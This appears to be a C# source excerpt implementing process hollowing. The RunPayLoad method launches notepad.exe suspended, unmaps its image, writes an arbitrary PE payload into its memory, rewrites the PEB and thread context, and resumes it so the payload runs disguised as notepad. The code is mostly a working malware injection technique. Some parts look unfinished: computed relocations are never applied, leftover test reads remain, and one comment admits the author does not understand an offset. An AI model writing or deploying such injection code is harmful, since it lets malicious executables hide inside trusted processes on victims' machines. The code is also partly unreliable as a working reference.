private NativePEBlock GetImageBaseAddress(long hProcess)
        {
            IntPtr sink   = new IntPtr(); // This is just to dump the output data we do not need
            IntPtr ptrPEB = GetProcessEnvBlockAddress(hProcess);

            byte[] PEBBlock = new byte[Marshal.SizeOf(typeof(NativePEBlock))];

            eventLog.AppendText("Pointer to PEB: " + ptrPEB + Environment.NewLine);

            bool result = ReadProcessMemory(
                (IntPtr)hProcess,
                ptrPEB, PEBBlock,
                Marshal.SizeOf(typeof(NativePEBlock)),
                out sink
                );

            // If it was a success reading the process memory, we are going to push the data into the
            // struct we have
            if (result)
            {
                // This is just to clean up the code so everything is readable. It can be done easily
                // With BitConverter but the code gets extremely atrocious eventually.
                GCHandle      handle  = GCHandle.Alloc(PEBBlock, GCHandleType.Pinned);
                NativePEBlock pEBlock = (NativePEBlock)Marshal.PtrToStructure(
                    handle.AddrOfPinnedObject(),
                    typeof(NativePEBlock)
                    );
                handle.Free();
                return(pEBlock);
            }

            return(new NativePEBlock());
        }
        private void RunPayLoad(byte[] byteData)
        {
            // Use this pointer to get the return information that we do not need.
            IntPtr bytesWritten = new IntPtr();

            // When you initialise a byte array, it is already 0
            byte[] PROCESS_INFORMATION = new byte[24];
            byte[] STARTUP_INFO        = new byte[104];

            // Refer to this website for a guide as we explore the program
            // https://resources.infosecinstitute.com/2-malware-researchers-handbook-demystifying-pe-file/
            // First, we want to get the DOS header from the executable

            byte[] IMAGE_DOS_HEADER = new byte[Marshal.SizeOf(typeof(DOSHeader))];
            Buffer.BlockCopy(byteData, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);

            GCHandle  handle = GCHandle.Alloc(byteData, GCHandleType.Pinned);
            DOSHeader DOSPayLoadHeaderBlock = (DOSHeader)Marshal.PtrToStructure(
                handle.AddrOfPinnedObject(),
                typeof(DOSHeader)
                );

            handle.Free();

            // Let us check to see if we have the MZ magic number
            // Perform a sanity check
            if (DOSPayLoadHeaderBlock.Signature != IMAGE_DOS_SIGNATURE)
            {
                InfoMsg.Text = "Payload is not a valid executable. Dos signature is not valid.";
                return;
            }

            // Then get the PE NT File Headers
            byte[] IMAGE_NT_HEADERS = new byte[Marshal.SizeOf(typeof(ImageNTHeader))];
            Buffer.BlockCopy(byteData, DOSPayLoadHeaderBlock.e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);

            handle = GCHandle.Alloc(IMAGE_NT_HEADERS, GCHandleType.Pinned);
            ImageNTHeader NTPayLoadHeaderBlock = (ImageNTHeader)Marshal.PtrToStructure(
                handle.AddrOfPinnedObject(),
                typeof(ImageNTHeader)
                );

            handle.Free();

            // Check the PE Header is valid
            if (NTPayLoadHeaderBlock.Signature != IMAGE_NT_SIGNATURE)
            {
                InfoMsg.Text = "Payload is not a valid executable. NTHeader is not valid.";
                return;
            }

            // Now, time to run a process
            string hostProcess = System.Reflection.Assembly.GetEntryAssembly().Location;

            hostProcess = "C:/Windows/notepad.exe";
            if (!CreateProcess(hostProcess, null, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED,
                               IntPtr.Zero, null, STARTUP_INFO, PROCESS_INFORMATION))
            {
                InfoMsg.Text = "Can not start host process. Terminating.";
                return;
            }

            // Note, the Handle variable is 8 bytes big due to the 64 bit system
            long          processID      = BitConverter.ToInt64(PROCESS_INFORMATION, 0);
            NativePEBlock pEBBlock       = GetImageBaseAddress(processID);
            IntPtr        pHostImageBase = pEBBlock.ImageBaseAddress;

            // According to documentation, the result code from this function is a success if equal
            // to 0. There are more codes which you can check.
            uint result = NtUnmapViewOfSection((IntPtr)processID, pHostImageBase);

            if (result != 0)
            {
                eventLog.AppendText("Error: Unable to unmap host process image.");
                return;
            }

            IntPtr remoteImage = VirtualAllocEx(
                (IntPtr)processID,
                pHostImageBase,
                (uint)NTPayLoadHeaderBlock.OptionalHeader.SizeOfImage,
                (MEM_COMMIT | MEM_RESERVE),
                PAGE_EXECUTE_READWRITE
                );

            if (remoteImage.Equals(IntPtr.Zero))
            {
                eventLog.AppendText("Unable to allocate memory" + Environment.NewLine);
                return;
            }

            // Now we need to check if we need to do a rebase of the image
            eventLog.AppendText("Host Image Base: " + pHostImageBase.ToString("X") + Environment.NewLine);
            eventLog.AppendText("Payload Image Base: " +
                                NTPayLoadHeaderBlock.OptionalHeader.ImageBase.ToString("X") +
                                Environment.NewLine
                                );
            long relocDelta = pHostImageBase.ToInt64() - NTPayLoadHeaderBlock.OptionalHeader.ImageBase;

            // ====================================================================================
            // Now that everything is prepared, we are going to start reallocation memory starting
            // from here.
            // ====================================================================================
            NTPayLoadHeaderBlock.OptionalHeader.ImageBase = pHostImageBase.ToInt64();

            // Now, we need to write to process memory the headers
            if (!WriteProcessMemory(
                    (IntPtr)processID,
                    pHostImageBase,
                    byteData,
                    NTPayLoadHeaderBlock.OptionalHeader.SizeOfHeaders,
                    out bytesWritten
                    ))
            {
                eventLog.AppendText("Can not write to process memory!" + Environment.NewLine);
                return;
            }

            // This is where we need to write the section data
            for (int i = 0; i < NTPayLoadHeaderBlock.FileHeader.NumberOfSections; i++)
            {
                byte[] IMAGE_SECTION_HEADER = new byte[40];
                int    sectionOffset        = DOSPayLoadHeaderBlock.e_lfanew + IMAGE_NT_HEADERS.Length + 8 + IMAGE_SECTION_HEADER.Length * i;
                Buffer.BlockCopy(byteData, sectionOffset, IMAGE_SECTION_HEADER, 0, 40);

                int    rawDataSize          = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 16);
                int    rawDataAddOffset     = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 20);
                int    virtualAddressOffset = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 12);
                byte[] sectionData          = new byte[rawDataSize];

                Buffer.BlockCopy(byteData, rawDataAddOffset, sectionData, 0, rawDataSize);

                // Now we are going to write the raw section data to the virtual memory area we created
                if (rawDataSize == 0)
                {
                    continue;
                }
                if (!WriteProcessMemory(
                        (IntPtr)processID,
                        (pHostImageBase + virtualAddressOffset),
                        sectionData,
                        rawDataSize,
                        out bytesWritten
                        ))
                {
                    eventLog.AppendText("Can not write to process memory!" + Environment.NewLine);
                    return;
                }
            }

            long entryPoint = pHostImageBase.ToInt64() + NTPayLoadHeaderBlock.OptionalHeader.AddressOfEntryPoint;

            byte[] test  = new byte[200];
            bool   test2 = ReadProcessMemory(
                (IntPtr)processID,
                (IntPtr)entryPoint,
                test,
                200,
                out bytesWritten
                );

            IntPtr ptrHandleThread = (IntPtr)BitConverter.ToInt64(PROCESS_INFORMATION, 8);

            byte[] CONTEXT = new byte[1232];
            // This is the CONTEXT_INTEGER flag that I hard coded in
            BitConverter.GetBytes(1048587).CopyTo(CONTEXT, 48);

            if (!GetThreadContext(ptrHandleThread, CONTEXT))
            {
                ResumeThread(ptrHandleThread);
                eventLog.AppendText("Can not retrieve CONTEXT!" + Environment.NewLine);
                return;
            }


            // Yes this gets the PEB ptr address. I do not know how.
            IntPtr ptrToPEB = (IntPtr)BitConverter.ToInt64(CONTEXT, 136);

            pEBBlock.ImageBaseAddress = (IntPtr)entryPoint;

            byte[] pEBBlockRaw = new byte[Marshal.SizeOf(typeof(NativePEBlock))];

            IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativePEBlock)));

            Marshal.StructureToPtr(pEBBlock, ptr, true);
            Marshal.Copy(ptr, pEBBlockRaw, 0, Marshal.SizeOf(typeof(NativePEBlock)));
            Marshal.FreeHGlobal(ptr);

            if (!WriteProcessMemory(
                    (IntPtr)processID,
                    ptrToPEB,
                    pEBBlockRaw,
                    Marshal.SizeOf(typeof(NativePEBlock)),
                    out bytesWritten
                    ))
            {
                eventLog.AppendText("Can not write to PEB Block!" + Environment.NewLine);
                return;
            }

            BitConverter.GetBytes(entryPoint).CopyTo(CONTEXT, 128); //Write to the RCX

            if (!SetThreadContext(ptrHandleThread, CONTEXT))
            {
                ResumeThread(ptrHandleThread);
                eventLog.AppendText("Can not set CONTEXT!" + Environment.NewLine);
                return;
            }

            if (ResumeThread(ptrHandleThread) == 0)
            {
                eventLog.AppendText("Failed to resume Thread" + Environment.NewLine);
                return;
            }

            int error = Marshal.GetLastWin32Error();

            Console.WriteLine("The last Win32 Error was: " + error);
            eventLog.AppendText("We should be finished with injection." + Environment.NewLine);
        }